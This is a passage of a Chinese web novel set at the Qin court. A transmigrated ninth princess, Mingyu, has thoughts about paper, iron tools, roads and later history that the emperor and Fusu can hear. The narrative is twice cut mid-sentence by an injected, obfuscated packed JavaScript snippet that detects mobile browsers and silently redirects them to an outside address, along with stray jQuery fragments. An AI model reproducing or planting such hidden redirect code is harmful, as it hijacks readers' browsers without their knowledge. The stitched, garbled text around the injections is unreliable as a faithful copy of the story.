一场可能引发君臣猜忌的风波,就在某人无心却犀利的“剧透”下,消弭于无形,甚至变成了彰显君恩、巩固信任的佳话。 明玉在偏殿,听嬴政不仅准了,还加码赏赐,乐得直拍手(无声),心里给政爹疯狂点赞:【政爹威武!配合默契!这波操作满分!既安了老将军的心,又彰显了君王气度,还堵了悠悠众口!漂亮!我就说政爹是千古一帝,这政治智慧,这演技,绝了!】 嬴政:“……” 扶苏以拳抵唇,轻咳一声,掩去笑意。 李斯嘴角几不可察地抽动了一下。 王翦父子又议了片刻,便告退离去。 走出章台宫正殿,来到廊下,王翦下意识地看了一眼偏殿的方向。 方才那清晰传入脑海,带着笑意的“现场解说”和“点赞”,让他此刻想来仍觉惊异,这九公主……果然非凡,大王将她置于身侧,绝非偶然。 “父亲,”王贲低声道,“大王今日似乎……” “嗯。”王翦打断儿子,目光深远,“圣心独运,非臣子可妄测,我等只需谨记王命,全力破楚便是。” 他顿了顿,声音压得更低,“至于宫中之事,尤其是那位九公主,勿要多问,更不可怠慢。” “儿明白。” 殿内,嬴政已重新专注于政务,扶苏也收敛心神,准备告退去偏殿。 “扶苏。”嬴政忽然唤道。 “儿臣在。” “你九妹……”嬴政指尖在案上轻敲一下,语气平淡,“心思跳脱,偶有奇想,她若对竹简笨重有所抱怨,或对书写之物有何……天真之想,你不妨听听,或许,孩童戏言,亦藏机巧。” 扶苏心头一震,瞬间明白了父王的暗示,纸!父王也在留意九妹关于“纸”的嘀咕!他立刻躬身:“儿臣明白,定当留心。” “去吧。” 扶苏退出正殿,深吸一口秋日微凉的空气,走向偏殿,心中对那位九妹的好奇与探究之心,已然升至顶点。 她不仅能“看穿”王翦老将军的自污之计,还能让父王特意叮嘱留意其关于“书写之物”的“奇想”…… 他走到偏殿门前,整理了一下衣冠和神色,脸上重新挂起温润的兄长笑容,这才抬手轻轻叩门。 “谁呀?”里面传来女孩清嫩的声音。 “是我,扶苏。” 门很快从里面打开,明玉的小脸探出来,眼睛亮晶晶的:“长兄!你怎么来了?快进来!” 她显得很高兴,侧身让开。 扶苏步入殿中,目光快速扫过。 殿内陈设简洁却精致,案上摊着写了几行歪斜字迹的竹简和笔墨,窗边小几上放着半碗没喝完的蜜水,处处透着孩童居住的痕迹。< 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扶苏讲解的声音几不可察地顿了一下,笔尖在竹片上留下一个微小的墨点,他强行稳住心神,继续将那个字写完,然后放下笔,看向明玉,努力让笑容显得自然:“九妹可看明白了?不妨试写一个。” “哦,好!”明玉收回花痴的视线,赶紧拿起自己的笔,笨拙地模仿,写出来的字依旧歪斜,但比之前那个似乎多了点“弯”的意思。 “有进步。”扶苏鼓励道,目光扫过案上那卷崭新的《仓颉篇》,状似无意地问,“九妹初学写字,可觉竹简沉重不便?” “可沉了!”明玉立刻抱怨,小脸皱成一团,“而且好硬,不小心就划手,写错了还得用刀削,麻烦死了,要是能有更轻、更软、写错了能直接涂掉的东西就好了。” 她说着,又想起“纸”,忍不住嘀咕,“哪怕像绢帛那样轻薄也行啊,就是太贵了……” 扶苏心中一动,绢帛轻薄,但昂贵,且吸墨性、韧性未必适合书写大量文字,九妹心声中那“纸”,似乎介于二者之间? “九妹所言‘更轻更软’之物,倒是新奇。”扶苏顺着她的话问道,“不知是何模样?九妹可曾见过,或……听人提起过?” 明玉眨眨眼,努力回忆“知识库”里关于早期纸的印象,含糊道:“好像……是用树皮啦、破布啦、渔网什么的,捣得烂烂的,在水里搅和,然后捞起来薄薄的一层,晒干了就成了? 很薄,有点黄,能写字,应该比竹简轻便多了吧?我也记不清了,好像是听哪个老宫人讲故事时提过一嘴。” 她把责任推给不存在的“老宫人”。 树皮?破布?渔网?捣烂?捞起晒干? 扶苏听得认真,虽觉匪夷所思,但这描述竟有几分可操作的脉络,并非凭空幻想,而是有具体材料与步骤!这难道就是“纸”? “确是有趣的想法。”扶苏压下心中震动,温雅一笑,“若真能制成,倒是利学之功,九妹聪慧,能记住这等奇闻。” 明玉被夸得有点不好意思,嘿嘿笑了两声,心里却想:【扶苏哥哥真好,不觉得我异想天开,不过造纸哪那么容易,我就随口一说……】 【唉,要是有材料工具,我还真想试试,算了,现在啥也没有,想也白想。】 扶苏将她的嘀咕听在耳中,眸色愈深。 九妹似乎并非全然戏言,她甚至想过尝试,只是苦于没有条件,或许……他可以为她创造一些条件?不,是协助父王,探究此“奇想”之虚实。 他又指导了明玉几个字,见时辰不早,便温言告辞。 走出偏殿,扶苏没有立刻回自己住处,而是站在廊下,望向正殿方向。今日所见所闻,信息量巨大。 王翦求田背后的深意,九妹精准的洞察与解说,以及那关于“纸”的看似荒诞却隐含可能的描述…… 他需要好好整理,并禀报父王。 而此刻的明玉,送走扶苏后,重新坐回书案前,看着自己鬼画符般的字迹,叹了口气:【任重道远啊,不过,有扶苏哥哥这样的老师,好像也不错?至少养眼。】 她托着腮,又开始天马行空:【不知道政爹晚上吃什么?能不能蹭个饭?好想和偶像一起吃饭啊……】 这“蹭饭”的念头,顺着频道,清晰送达。 正殿内,刚批完一份紧急军报的嬴政,动作几不可察地一顿,他抬眼,看了眼殿角的铜漏。 “传膳吧。”他淡淡道,“让扶苏过来,另外……问问九公主,可愿一同用膳。” 侍立一旁的宦者令心中讶异,面上却不显,恭敬应下:“唯。” 当消息传到偏殿时,明玉整个人都懵了,随即是巨大的惊喜砸下来,砸得她晕头转向。 【和政爹、扶苏哥哥一起吃饭!家庭晚餐!四舍五入就是一家三口!啊啊啊这是什么神仙日子!我宣布今天是我穿越以来最幸运的一天!】 她手忙脚乱地让宫女帮她重新整理了一下头发和衣物,检查额头的纱布是否整齐,然后怀着激动忐忑的心情,跟着引路的内侍,走向那扇通往“历史直播间VIP席”的殿门。 章台宫的黄昏,霞光给巍峨的宫殿镀上一层暖金。 4. 第 4 章 夕阳的最后一缕余晖透过高高的窗棂,在 章台宫侧殿光洁的地面上投下,温暖的金色光影。 明玉被宦者令引着踏入侧殿时,心跳如擂鼓,小脸因激动和紧张微微泛红。 殿内已设下三张食案。 上首那张最大,紫檀木材质,雕饰着简约的云纹,显然是秦王的。下首左右各设一张略小的食案,相对而放。 扶苏已跪坐在右侧的食案后,月白色的深衣在暖光下显得格外温润。 见到明玉进来,他抬起眼,对她露出一个温和安抚的微笑。 左侧的食案,则是为她准备的。 “父王,长兄。”明玉走到殿中,努力回忆着恶补的礼仪,规规矩矩地行礼,声音带着一丝不易察觉的颤抖。 “嗯,坐吧。” 上首传来嬴政平淡的声音,他已换下朝会的正式冠服,只着一身玄色常服,玉簪束发,少了几分白日令人不敢逼视的威严,多了几分居家的随意,但那通身的气度,依旧让这侧殿的空气都显得沉凝。 明玉依言在左侧食案后跪坐下来。柔软的蒲团,精美的漆案,案上已摆放好小巧的青铜食具和玉箸。 她偷偷抬眼,瞄了一下上首的嬴政,又飞快地瞟了一眼对面的扶苏,心里的小人已经开始疯狂跳舞:【啊啊啊真的和政爹扶苏哥哥一起吃饭了!四舍五入就是家庭聚餐!这什么神仙待遇!我圆满了!】 这激动到近乎眩晕的心声,毫无保留地传入了另外两人的耳中。 嬴政执起玉箸,神色不动,仿佛什么也没听见。 扶苏则几不可察地低了一下头,唇角微弯,掩去一丝笑意,这位九妹,心思倒是直白得有趣。 宫人开始无声而有序地布菜。 并非大宴的珍馐,但极为精致:一小鼎热气腾腾、香气四溢的炖羊肉,汤汁乳白;一碟清蒸的河鱼,肉质细嫩,点缀着翠绿;几样时令菜蔬,或以羹煮,或凉拌,或切细脍食。 每人面前还有一碗晶莹的黍米饭,一小碟用来蘸食的酱料,以及一碗清口的羹汤。 菜肴的香味飘来,明玉偷偷咽了口口水。 从穿越到现在,她还没正经过吃一顿像样的饭,早上中午虽然也不错,但哪有眼前这顿看起来诱人?尤其那炖羊肉,香气直往鼻子里钻。 “用吧。”嬴政再次开口,率先动箸。 扶苏恭声应“唯”,也拿起玉箸,姿态优雅从容。 明玉有样学样,小心翼翼地夹起一块看起来最瘦的羊肉,吹了吹,送入口中。 羊肉炖得极烂,入口即化,带着食物本身纯粹的鲜美,没有一点膻味,她眼睛瞬间亮了。 【好好吃!古代的食材就是原生态!这羊肉绝了!】她心里赞叹着,又尝了一口蒸鱼,【鱼也好鲜!政爹的伙食标准果然高!跟着爹有肉吃!】 但很快,她发现一个问题。 秦朝的饮食似乎偏原汁原味,调味相对简单,酱料也和她熟悉的酱油醋不同,吃了两口,嘴里有些寡淡,她忍不住想念起辣椒、花椒,哪怕有点胡椒也好啊。 【唉,没有辣椒的人生是不完整的。胡椒好像这时候有,但是超级贵吧?好像都是从西域来的?张骞还没通西域呢……】 【不对,那是汉朝。现在有丝绸之路的雏形吗?好像也有点商路,但肯定不多。怪不得政爹后来想求仙,是不是也觉得人生少了点刺激?】她一边小口扒饭,一边天马行空地胡思乱想,内心吐槽不断。 嬴政夹菜的手微微一顿。 辣椒?胡椒?西域?张骞?汉朝?丝绸之路?求仙是因为……人生少了刺激? 这些零碎陌生的词汇和跳跃的联想,让他再次确认,这“异魂”所知所闻,确与当世迥异,且时间线似乎在后。 汉朝?取代秦的朝代?这个念头让他眸光一冷,但面上依旧平静。 至于“求仙”……他从未觉得人生需要外物“刺激”,他所求,乃是功业永恒,帝国长存。不过,这小丫头倒是提供了一个古怪的视角。 扶苏也听到了“张骞”、“汉朝”等词,心中惊疑更甚,他博览群书,却从未听闻“张骞”此人,亦不知“汉朝”所指。 九妹的心音,果然涉及不可知的“后世”,他低头吃饭,掩饰眼中的波澜。 明玉对父兄内心的震动一无所知,她吃了几口菜,觉得应该表现一下“父女/兄妹情深”,于是鼓起勇气,小声对扶苏说:“长兄,这个蒸蛋好吃。” 她指的是自己面前那碗嫩滑的蛋羹,这是她唯一能明确赞美且不出错的食物。 扶苏抬眼,对上妹妹亮晶晶的、带着点讨好和分享喜悦的眼神,心中一软,温声道:“妹妹喜欢便好,此乃宫中膳房拿手之作。” 明玉用力点头,又偷眼看了下上首的父王,见他没有不悦,胆子大了点,小声补充:“父王这里的饭菜……都很好吃。” 说完,有点不好意思地低下头。 嬴政看了她一眼,淡淡“嗯”了一声,算是回应,目光扫过她面前那碗几乎没动的酱料,忽然开口:““不喜此醢?” 明玉一愣,才意识到父王是在问自己,她看了眼那小碟黑乎乎的酱料,老实点头:“有、有点吃不惯。” 其实是觉得味道有点怪,咸中带苦,不如酱油顺口。 “秦人惯食此酱,可祛腥提味,初尝或不惯,日后便好。”嬴政难得解释了一句,语气依旧平淡,却让明玉受宠若惊。 【政爹居然跟我解释这个!还关心我吃不吃得惯!】她心里乐开了花,脸上也露出大大的笑容,“嗯!儿臣知道了,会慢慢习惯的!” 嬴政不再言语,继续用膳。 殿内只剩下轻微的碗筷碰撞声和咀嚼声,气氛有些安静,但并不十分压抑。 明玉吃着吃着,思绪又飘了,她看着眼前精美的食具,想起后世博物馆里的青铜器,又想到那些厚重的竹简,忍不住对比起来:【秦朝的青铜技术真是登峰造极,看这食具的纹路多精细。】 【可惜这么好的技术,大部分用来做礼器和兵器了,要是多用来做点农具、工具,提高生产力多好,不过好像铁的推广也在进行?铁比青铜更适合做工具吧?就是冶炼技术不知道怎么样……】 她这番从餐桌发散到“生产力”和“冶金技术”的跳跃思维,再次让聆听的两人侧目。 扶苏心中震动。 九妹此言,竟与一些有识之士私下议论的“重耕战之本,强器械之利”不谋而合,且角度更为奇特直接。 她似乎认为,优质的金属应用于农耕工具,比铸造华美礼器更有价值?这想法,倒是务实。 嬴政眼底深处掠过一丝思索,青铜礼器关乎礼制与威严,不可或缺。 但铁器的推广,确是他着力推动之事,关乎国本,这小丫头,似乎总能歪打正着,点出些关键,提高生产力……这个词,倒是精准。 这时,明玉看到宫人又端上一碟切好的桃子和李子,水果的清香顿时吸引了她的注意。 【还有饭后水果!待遇太好了!】她美滋滋地想着,拿起一小片桃子,甜甜的汁水在口中化开,幸福感飙升。 吃着水果,她忽然想起以前看过的关于秦朝饮食的记载,好像水果除了生吃,也会用来酿酒或者做果脯?她忍不住问扶苏:“长兄,这些桃子,除了这样吃,还会做成别的吗?比如……蜜渍?或者酿酒?” 扶苏温和答道:“宫中确有蜜渍果品,亦有用果子酿造的醴酪(甜酒),只是不及粮食所酿普遍,九妹若感兴趣,日后可让人送些蜜渍桃脯来。” “真的吗?谢谢长兄!”明玉高兴地道谢,心里想着:【蜜渍桃脯!古代版的果脯!不知道味道怎么样,不过水果酿酒,好像酒精度不高?要是能有蒸馏技术,提纯一下……呃,我又在想桃子了,现在连像样的蒸锅都难找吧?】 嬴政不动声色地听着。蜜渍、果酒,皆是寻常。 但“蒸馏技术”、“提纯”又是何物?似乎与酿酒有关?能提升酒之烈性?他记下这两个词,但未深究。 眼下,这丫头跳跃的思绪已提供了不少杂乱信息,需得慢慢梳理。 晚膳就在明玉内心不断刷屏、偶尔小声提问,嬴政和扶苏简短回应或静默聆听中接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937174|192892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近尾声。 对明玉而言,这顿饭吃得既满足又梦幻,虽然大部分时间安静,但她能感觉到,父王和长兄并没有排斥她的存在,甚至……有一丝难以言喻的包容? 宫人撤下食案,奉上温热的蜜水供三人清口。 嬴政饮了一口,放下玉杯,目光平静地看向明玉,仿佛只是随口一问:“今日在偏殿,可还习惯?可有短缺?” 明玉连忙摇头:“回父王,没有短缺,都很好,谢父王关心。” 她犹豫了一下,还是小声补充,“就是……习字有点难,竹简好重,字也好难写。” 说完,有点忐忑,怕父王觉得她畏难。 “初学自然不易,贵在持之以恒。”嬴政的语气听不出责备,甚至比刚才谈论酱料时更平淡,但话中的意思却是鼓励坚持,他顿了一下,看向扶苏,“你长兄于文墨一道颇有心得,日后若有疑难,可向他请教。” “唯。儿臣定当尽心。”扶苏立刻应道。 明玉眼睛一亮,看向扶苏,用力点头:“嗯!明玉会用心学,也会多向长兄请教的!” 心里已经乐开了花:【政爹让扶苏哥哥教我!官方认证的家庭教师!太棒了!】 “时辰不早,回去歇息吧。”嬴政结束了这次短暂的、对明玉而言意义非凡的“家庭聚餐”。 “儿臣(明玉)告退。”扶苏和明玉起身行礼。 退出侧殿,秋夜的凉风让明玉发热的脸颊舒服了些,扶苏自然地与她并肩走在回廊下,宫灯将两人的影子拉长。 “九妹今日受累了。”扶苏温声道,“头还疼吗?” “不疼了,谢长兄关心。”明玉摇头,犹豫了一下,仰起小脸看他,眼睛在灯光下亮晶晶的,“长兄,我……我今天是不是话太多了?有没有惹父王不高兴?” 扶苏看着她小心翼翼、带着点不安的神情,心中微软,温言安慰:“并未,父王既允你同席,便是认可,九妹活泼些,很好。” 至少,这顿晚膳,因着她的存在和那些奇妙的心音,不再如以往般沉闷,父王虽未多言,但扶苏能感觉到,父王的态度并非不悦。 “真的吗?”明玉松了口气,脸上绽开灿烂的笑容,“那就好!能和父王、长兄一起用膳,我很开心!” 她的快乐如此简单直接,感染了扶苏,让他也忍不住微笑:“嗯,为兄亦觉今晚甚好。日后若有机会,可常如此。” “嗯!”明玉重重点头,心里像揣了个暖炉,热乎乎的。 扶苏将她送至偏殿门口,看着她进去,这才转身离开,回自己住所的路上,他回味着晚膳时的种种,尤其是九妹那些看似天真、却屡屡触及关键的“心声”,对这位妹妹的好奇与探究之心,更添了几分,也隐隐生出一丝兄长对幼妹的怜爱之情。 偏殿内,明玉在宫人伺候下洗漱,躺在柔软的被褥里,回想着今晚的一切,嘴角还带着笑。 虽然大部分时间安静,虽然政爹话不多,但她能感觉到一种默许和接纳,这让她对未来的“章台宫生活”,少了许多惶恐,多了许多温暖的期待。 【政爹好像没那么可怕,扶苏哥哥超级好,今天真是完美的一天!】她满足地叹息一声,带着笑意沉入梦乡。 而侧殿之中,嬴政并未立刻安寝,他负手立于窗前,望着廊下渐次熄灭的灯火,和天边疏朗的星子。 那丫头“完美的一天”的感叹犹在耳边。 完美?于她而言,或许是。于他,这不过是漫长帝王生涯中,一个略显不同却又微不足道的插曲。 只是,这插曲带来的“杂音”,却可能余韵悠长。 辣椒,胡椒,西域,张骞,汉朝,生产力,冶金,蒸馏提纯……还有那浓得化不开的、对扶苏命运的痛惜与对胡亥赵高的憎恶。 无数的碎片,需要拼凑,无数的可能,需要警惕,亦有隐约的微光,或可捕捉。 他关上窗,将秋夜的凉意与星光隔绝在外。 殿内烛火摇曳,将他高大的身影投在墙壁上,依旧孤独,却仿佛因沾染了那一丝来自未来、吵嚷而鲜活的“杂音”,而少了些许惯常的冰冷与绝对的空寂。 5. 第 5 章 晨光再次洒满章台宫外间。 明玉跪坐在书案后,对着摊开的《仓颉篇》,手腕的酸涩感比昨日更甚。 昨日临摹了不知多少遍,那几个字依旧歪斜得各有千秋,她苦着脸,小幅度地活动着手腕,目光却忍不住飘向案头那盏小小的、用来盛放清水的铜壶。 水面倒映出她苍白的小脸和额角的纱布,她盯着水面,心里第一百零八次叹息:【这竹简,什么时候是个头啊。】 【政爹每天批那么多,脖子真的不会断吗?还有扶苏哥哥,以后也要看这么多……唉,要是有纸就好了。】 她这怨念深重的叹息,清晰地传入了隔壁正在听取某郡守关于今岁“上计”(地方向中央汇报)情况的嬴政,以及侍坐一旁、同样在处理文书的扶苏耳中。 嬴政面不改色,目光依旧落在郡守呈上的竹简上,指尖却几不可察地敲了敲案几边缘。 扶苏研墨的动作微微一顿,抬眸瞥了一眼偏殿方向,又迅速垂下,心中对“纸”的念头又重了几分,九妹似乎对此物执念颇深,且不止一次提及“轻便”、“可改”,若真能寻得或制出此物…… 这时,郡守的汇报提到了该郡今年推广新式耕具(明玉无心嘀咕后被始皇命人改进的)后,垦田效率有所提升,但农人反映,新犁对耕牛要求较高,且某些地块不甚适用。 明玉在隔壁隐约听到“耕具”、“新犁”等词,好奇心又被勾起来,一边假装写字,一边竖起耳朵,心里自动分析:【曲辕犁的改良版?对牛和地形有要求很正常啊,任何工具都要因地制宜,哪有万能的神器。】 【不过推广新技术也得配套培训,光发工具有什么用,而且,铁的产量跟得上吗?现在好像是青铜和铁混用?铁的质量怎么样?】 她这番来自后世、理所当然的思考,落在嬴政和扶苏耳中,却不啻于一道惊雷。 因地制宜?配套培训?铁的产量与质量? 郡守的汇报,恰恰只提到了工具发放和效率的初步提升,对于更深层的适配性、培训、以及最关键的——作为战略资源的“铁”的保障,却语焉不详,或者说,根本没有从这个角度思考过。 嬴政眸色转深,抬手止住了郡守接下来的话,缓缓问道:“新式耕具,于山林、坡地可用否?发放之时,可有遣匠人示下用法?再者,此犁所需之铁,该郡铁官今年所出,可足用?所出之铁,韧度如何?” 郡守被问得额头冒汗,支支吾吾,有些问题显然答不上来。 嬴政不再多言,只让他将这些问题详查后再报,郡守战战兢兢退下。 殿内恢复安静。 扶苏放下笔,若有所思:“父王所虑极是,九妹……咳,推广新物,确需周全,尤其铁器,关乎农事,亦关乎军备。” 他差点说漏嘴。 “嗯。”嬴政应了一声,目光掠过堆积的简牍,那“铁的质量怎么样”的疑问,在他心中盘旋,秦国之强,耕战一体,铁器的质量和产量,确是根基之一,这小丫头,又一次无心之言,点中了要害。 午前,明玉终于得到片刻休息,被允许在廊下走动。 她正无聊地数着地砖,忽见一名身着黑色劲装、未着甲胄、但浑身透着精悍之气的年轻将领,大步流星自宫门方向而来,径直走向正殿。 此人眉宇间带着长途奔波的风霜,但眼神锐利,顾盼间自有鹰视狼顾之相。 明玉眼睛一亮。 【蒙恬!是蒙恬吧?这气质,这走路带风的架势,肯定是!北逐匈奴,修长城,监军上郡,最后和扶苏一起……唉。】那声叹息里的惋惜,比提到扶苏时更添几分沉重与复杂,因为蒙恬的结局同样悲剧,且与扶苏紧密相连。 蒙恬步履生风,并未注意到廊下的小不点,但就在与明玉错身而过的瞬间,那声清晰的、带着沉重历史感的叹息,以及“蒙恬”、“北逐匈奴”、“修长城”、“监军上郡”、“最后和扶苏一起……”的破碎心音,如同冰水灌顶,让他骤然刹住脚步,惊疑不定地侧头,看向那个正睁着乌溜溜大眼睛望着自己的小女孩。 公主?哪位公主? 她怎知我?北逐匈奴?修长城?此乃陛下与军中高层方在酝酿的北疆方略,她如何知晓? 监军上郡?和长公子一起?何意? 无数疑问和一丝寒意掠过蒙恬心头。 但他久经沙场,心志坚定,瞬间压下惊骇,只是看向明玉的眼神,已带上十二分的审视与警惕,他记得入宫时隐约听闻,陛下新近将一位九公主安置在章台宫…… “蒙将军?”引路的内侍见他停下,低声提醒。 蒙恬收回目光,对明玉微微颔首,算是行礼,随即恢复冷峻,大步踏入正殿。只是心中已掀起波澜。 明玉被他那一眼看得有点心虚,缩了缩脖子。 【蒙恬好像有点凶?不过眼神很正,不愧是忠臣良将,可惜了……】她摇摇头,甩开那些不愉快的联想,溜达回自己书案旁。 正殿内,蒙恬禀报的是北地边军秋防事宜及匈奴部落最新动向。 嬴政听得仔细,偶尔发问。 蒙恬对答如流,展现出卓越的军事素养。 但细心的扶苏发现,蒙恬将军今日汇报时,似乎比往常更谨慎,目光偶尔会极快地扫过殿内四周,尤其在听到陛下提及“北疆长远之策”时,他的呼吸有瞬间的凝滞。 汇报完毕,嬴政嘉勉几句,蒙恬谢恩,却并未立刻退下,而是略显迟疑。 “还有何事?”嬴政问。 蒙恬抱拳,沉声道:“末将方才入宫时,于廊下遇见一位年幼公主,似是……新近居于章台宫的九公主?” 他终究没忍住,试图探问。 嬴政眸光微动,面色不变:“嗯,是明玉,她前日与胡亥打了一架,受了些伤,寡人让她在此静养,何以问起?” “末将不敢。”蒙恬低头,“只是见公主年幼,却气度沉静,故而多看了一眼,并无他意。” 他无法直言那诡异的心音,只能含糊其辞。 “明玉确与一般孩童不同,心思灵动些。”嬴政淡淡道,不再多言,“北地之事,你多费心,退下吧。” “末将告退!”蒙恬压下心头万千疑惑,躬身退出。 走出殿外,他再次看向偏殿方向,目光复杂。 那位九公主……究竟是何方神圣?陛下对她,似乎也颇为特别。 那些心音……是幻觉,还是某种预示?他暗暗决定,日后需多加留意宫中消息,尤其是关于这位九公主的。 午后,明玉继续与竹简搏斗。或许是上午见了蒙恬,思绪飘得更远。 看着沉重的竹简,她又开始天马行空:【竹简这么重,打仗的时候传递军情多不方便?要是能有更轻快的传递方式就好了……】 【嗯,纸是一方面,要是还能有更快的交通工具,或者……呃,电报电话就别想了,鸽子?驯鹰?好像也有用,但不稳定,要是路修得更好点,驿站系统再完善点……】 她这边胡思乱想,那边扶苏奉诏来与嬴政商议设立“弛道”之事(秦代高速公路),正说到沿途驿站设置与物资补给。 明玉关于“路修得更好点,驿站系统再完善点”的模糊念头,恰好与父子二人讨论的内容隐隐契合。 扶苏心中讶异,不由更加认真地听着。 嬴政则面无波澜,只在扶苏提出某个具体驿站间距设置时,忽然插了一句:“间距可再斟酌,需虑及传车速度与驿卒换马时长,务求紧要军情能日夜不息,速抵咸阳。” 扶苏一怔,随即恍然:“父王英明,是儿臣思虑不周。” 这细节,正是有效提升信息传递速度的关键,父王为何突然想到此节?他下意识看了一眼偏殿方向。 明玉自然不知道自己的“脑洞”又无意中“助攻”了,她正被一个字难住,抓耳挠腮。 这时,那位治粟内史又来了,这次是单独求见,似乎有急事,他面色凝重,入殿后便呈上一卷加急文书。 嬴政展开一看,眉头蹙起。 是来自巴蜀之地的急报,提及今夏雨水过多,恐影响蜀锦与粮食外运,且山道时有损毁,维修民夫与物资吃紧。 明玉隐约听到“巴蜀”、“雨水”、“山道”、“维修”几个词,结合刚才自己想的“路”和“驿站”,下意识在心里接了一句:【蜀道难,难于上青天啊。】 【要是有水泥就好了,再不济,石灰混黏土夯实地基,也能结实不少。】 【还有,维修不能只靠硬性征发民夫(徭役),搞得民怨沸腾,是不是可以在灾荒或者农闲时,用提供粮食的方式召集当地百姓修路?既给了活路,又办了事,军队在非战时也拉出来练练,就当野外操演了,还能改善交通,一举两得。】 “蜀道难,难于上青天……” 嬴政低低重复了一遍这七个字,眼中精光一闪,此语虽直白,却将巴蜀交通之艰险道尽,水泥?石灰混黏土?军队参与修筑? 治粟内史不明所以,只见大王沉吟,不敢打扰。 扶苏则听得心潮起伏。 九妹的心音越来越“离谱”,但也越来越……似乎蕴含某种超越时代的、解决问题的思路。 水泥是何物?他不知。 但石灰与黏土,确是现有的建筑材料,“以工代赈”在灾年也有施行,但将其与常备的交通维护、军队建设结合起来…… 嬴政沉思片刻,那“提供粮食召集”与“军队操演兼顾”的想法,虽显稚嫩,且与现行法度不尽相同,但其中蕴含的“纾解民力、事功两便”的思路,却让他心中一动。 秦法严苛,征发无情,然长此以往,确非长久之计…… 他收敛思绪,对治粟内史道:“巴蜀之事,寡人知晓了。 此次征发,可视情况,于常例口粮外,略增其食。 另,传令巴蜀都尉,可就地取材,尝试以石灰混合黏土,加固险要路段地基,再令当地驻军,可于操练之余,分期调派军士参与沿途险段修缮,既砺兵卒,亦补民力之不足。一应耗费,另行计核。” 治粟内史虽对“石灰混黏土”和“军队修路”的旨意感到惊讶,但大王言之凿凿,且似乎有解决燃眉之急的可能,连忙记下:“唯!臣即刻去办!” “另外,”嬴政补充了一句,目光深远,“日后各地上报道路、水利等工程,需将材料耐久、人力来源、长远维护一并考量奏报,不得只求速成。” “唯!” 治粟内史心头一震,躬身退下。大王今日思虑,愈发周全深远了。 治粟内史退下后,殿内只剩嬴政与扶苏。 父子二人一时无言。偏殿那边,明玉似乎终于攻克了那个难字,小小地欢呼了一声,又立刻捂住嘴,假装无事发生。 嬴政忽然开口,声音不高,却带着某种深意:“扶苏,你觉得,你九妹如何?” 扶苏心头一紧,斟酌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937175|192892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“九妹……天真烂漫,心思单纯,然偶有惊人之语,似是而非,却往往……颇有趣味,甚或有些道理。” 他选择了一个相对安全的说法。 “似是而非?”嬴政嘴角几不可察地弯了一下,那弧度极小,转瞬即逝,“或许吧。然其‘惊人之语’,有时如孩童投石入水,涟漪所及,未必全无用处。” 扶苏垂首:“儿臣受教。” 他明白,父王这是在肯定九妹的价值,也是在提醒他,要善于从这些“稚语”中捕捉有用的信息。 “你近日多陪她习字玩耍,”嬴政道,“她若对竹简笨重再有怨言,或对书写之物有何异想,你不妨……顺势而为。所需物料匠人,可寻将作少府,以你之名调用,不必声张。就当是……兄长满足幼妹的好奇之心。” 扶苏心中一震,随即涌起一股热流。 父王这是……默许甚至支持他去探究“纸”了!以他的名义,既能遮掩,又能给予实际支持! “儿臣明白!定不负父王所托!” 扶苏声音带着一丝激动。 “嗯。”嬴政不再多言,重新看向竹简,仿佛刚才只是布置了一件再寻常不过的小事。 傍晚时分,明玉结束了一天的习字,正揉着酸痛的胳膊,被宫人引着回偏殿。 刚走出外间,便见扶苏也从正殿出来,似乎正要离开。 “长兄!”明玉眼睛一亮,连忙行礼。 扶苏停下脚步,温润的目光落在她身上,见她小脸上带着习字后的疲惫,额角纱布依旧显眼,心中微软:“九妹今日辛苦了,字可有进益?” 明玉有些不好意思地摇头:“还是写不好看,手腕酸,让长兄见笑了。” 但随即她又打起精神,好奇地问,“长兄是要回去吗?今日政……父王交代的事情都办完了?” 听着她差点说漏嘴又慌忙改口的称呼,以及那自然的关心,扶苏眼中笑意加深:“嗯,大致处理完了,正要回去温书。” 他顿了顿,看着明玉亮晶晶充满好奇的眼睛,忽然想起父王傍晚的吩咐,心思一动,温声道,“九妹若不觉疲累,可想看看为兄平日读书之所?就在隔壁不远。” 明玉瞬间瞪大了眼睛,几乎不敢相信自己的耳朵。【扶苏哥哥的书房?邀请我去看?天啊!这是什么神仙哥哥!】她心里乐开了花,小鸡啄米似的点头:“想!想看!谢谢长兄!” 扶苏被她毫不掩饰的欢喜感染,笑容更暖:“那便随我来吧。” 扶苏在章台宫的居所果然就在偏殿另一侧,同样简洁雅致,但比明玉那里多了更多书卷气息。 靠墙立着高大的木架,上面整整齐齐码放着无数卷竹简,按照经、史、子等粗略分类。 窗前设有一张宽大的书案,上面摊开着未看完的简牍,笔墨纸砚摆放有序。 空气中弥漫着墨香和淡淡的、属于扶苏身上的清雅气息。 明玉像个好奇宝宝一样,小心翼翼地走进来,眼睛都不够看了。 【好多书!这就是学霸的书房吗?看起来就好有文化!】她目光扫过那些竹简,看到许多熟悉的书名,《诗》、《书》、《春秋》、《论语》……还有不少她没见过的。 “长兄,你看这么多书,都能记住吗?”明玉忍不住问,眼里满是崇拜。 扶苏失笑:“岂能尽记,不过反复诵读,领会其意罢了,九妹日后读书,亦当如此,不求强记,贵在理解。” “嗯!”明玉用力点头,目光又落到书案上那卷摊开的竹简,上面是工整的批注。 